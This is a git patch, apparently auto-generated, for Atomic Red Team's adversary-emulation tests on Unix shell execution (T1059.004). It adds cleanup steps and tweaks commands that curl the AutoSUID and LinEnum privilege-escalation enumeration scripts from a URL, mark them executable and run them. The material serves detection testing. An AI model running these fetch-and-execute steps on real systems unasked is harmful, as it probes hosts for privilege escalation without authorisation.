From a9051c38de8a5320b31c7039efcbd3b56cf2d65a Mon Sep 17 00:00:00 2001 From: Atomic Red Team doc generator Date: Mon, 4 Jul 2022 17:46:06 +0000 Subject: [PATCH] Generated docs from job=generate-docs branch=master [ci skip] --- atomics/Indexes/index.yaml | 10 ++++++++-- atomics/T1059.004/T1059.004.md | 12 ++++++++++-- 2 files changed, 18 insertions(+), 4 deletions(-) diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 4232d1c0..b0198dc3 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -44448,13 +44448,16 @@ execution: prereq_command: 'if [ -f #{autosuid} ]; then exit 0; else exit 1; fi; ' - get_prereq_command: 'curl #{autosuid_url} --output #{autosuid} + get_prereq_command: 'curl --create-dirs #{autosuid_url} --output #{autosuid} ' executor: command: | chmod +x #{autosuid} bash #{autosuid} + cleanup_command: 'rm -rf #{autosuid} + + ' name: sh - name: LinEnum tool execution auto_generated_guid: a2b35a63-9df1-4806-9a4d-5fe0500845f2 @@ -44483,13 +44486,16 @@ execution: prereq_command: 'if [ -f #{linenum} ]; then exit 0; else exit 1; fi; ' - get_prereq_command: 'curl #{linenum_url} --output #{linenum} + get_prereq_command: 'curl --create-dirs #{linenum_url} --output #{linenum} ' executor: command: | chmod +x #{linenum} bash #{linenum} + cleanup_command: 'rm -rf #{linenum} + + ' name: sh T1559: technique: diff --git a/atomics/T1059.004/T1059.004.md b/atomics/T1059.004/T1059.004.md index 4f66055c..83921a97 100644 --- a/atomics/T1059.004/T1059.004.md +++ b/atomics/T1059.004/T1059.004.md @@ -121,6 +121,10 @@ chmod +x #{autosuid} bash #{autosuid} ``` +#### Cleanup Commands: +```sh +rm -rf #{autosuid} +``` @@ -132,7 +136,7 @@ if [ -f #{autosuid} ]; then exit 0; else exit 1; fi; ``` ##### Get Prereq Commands: ```bash -curl #{autosuid_url} --output #{autosuid} +curl --create-dirs #{autosuid_url} --output #{autosuid} ``` @@ -168,6 +172,10 @@ chmod +x #{linenum} bash #{linenum} ``` +#### Cleanup Commands: +```sh +rm -rf #{linenum} +``` @@ -179,7 +187,7 @@ if [ -f #{linenum} ]; then exit 0; else exit 1; fi; ``` ##### Get Prereq Commands: ```bash -curl #{linenum_url} --output #{linenum} +curl --create-dirs #{linenum_url} --output #{linenum} ```